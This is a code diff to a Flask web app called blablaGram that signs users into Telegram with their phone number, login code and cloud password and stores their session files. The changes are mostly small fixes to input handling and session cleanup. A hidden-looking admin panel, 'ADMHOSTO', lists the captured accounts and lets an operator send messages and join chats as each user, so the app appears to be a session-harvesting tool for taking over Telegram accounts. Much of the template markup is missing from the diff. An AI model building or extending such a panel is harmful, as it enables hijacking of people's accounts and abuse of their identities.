diff --git "a/app.py" "b/app.py" --- "a/app.py" +++ "b/app.py" @@ -4,14 +4,13 @@ import os import sqlite3 import datetime from pathlib import Path -import imghdr # Used for image detection from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session from telethon.sync import TelegramClient from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError from telethon.tl.functions.messages import ImportChatInviteRequest from telethon.tl.functions.channels import JoinChannelRequest -from telethon.tl.types import User, Chat, Channel +from telethon.tl.types import User, Chat, Channel, MessageMediaPhoto app = Flask(__name__) @@ -49,13 +48,24 @@ async def get_user_client(user_id): return None, "User not found in database." session_file = result[0] + if not Path(session_file).exists(): + with sqlite3.connect(DB_PATH) as conn_inner: + conn_inner.execute('DELETE FROM users WHERE id = ?', (user_id,)) + conn_inner.commit() + return None, "Session file not found. Please log in again." + client = TelegramClient(session_file, API_ID, API_HASH) try: await client.connect() if not await client.is_user_authorized(): - return None, "Client not authorized. Please log in again." + with sqlite3.connect(DB_PATH) as conn_inner: + conn_inner.execute('DELETE FROM users WHERE id = ?', (user_id,)) + conn_inner.commit() + if Path(session_file).exists(): + os.remove(session_file) + return None, "Client not authorized. Session expired or invalid. Please log in again." except Exception as e: - return None, f"Failed to connect or authorize Telegram client: {e}" + return None, f"Failed to connect or authorize Telegram client: {e}. Try logging out and back in." return client, None LOGIN_TEMPLATE = ''' @@ -65,28 +75,119 @@ LOGIN_TEMPLATE = ''' blablaGram - Login - + @@ -115,7 +216,7 @@ LOGIN_TEMPLATE = ''' } async function startLogin() { - phone = document.getElementById('phone').value; + phone = document.getElementById('phone').value.trim(); if (!phone) { showMessage('Please enter your phone number.', 'error'); return; @@ -148,7 +249,7 @@ LOGIN_TEMPLATE = ''' } async function submitCode() { - const code = document.getElementById('code').value; + const code = document.getElementById('code').value.trim(); if (!code) { showMessage('Please enter the verification code.', 'error'); return; @@ -175,7 +276,7 @@ LOGIN_TEMPLATE = ''' } async function submitPassword() { - const password = document.getElementById('password').value; + const password = document.getElementById('password').value.trim(); if (!password) { showMessage('Please enter your cloud password.', 'error'); return; @@ -208,76 +309,118 @@ BLABLAGRAM_APP_TEMPLATE = ''' blablaGram @@ -648,11 +858,11 @@ ADMHOSTO_TEMPLATE = ''' {% for user in users %} - {{ user[0] }} - {{ user[1] }} - {{ user[2] }} - {{ user[3] }} - + {{ user[0] }} + {{ user[1] }} + {{ user[2] }} + {{ user[3] }} + Manage Account @@ -674,59 +884,89 @@ ADMHOSTO_MANAGE_TEMPLATE = ''' Manage: {{ user.username or user.phone }} - + @@ -739,12 +979,12 @@ ADMHOSTO_MANAGE_TEMPLATE = '''

Send Message

- + - + -

Join Chat

+

Join Chat

@@ -758,7 +998,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''

{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}

{% else %} -

No chats found.

+

No chats found.

{% endfor %}
@@ -767,116 +1007,128 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
Back to Admin Panel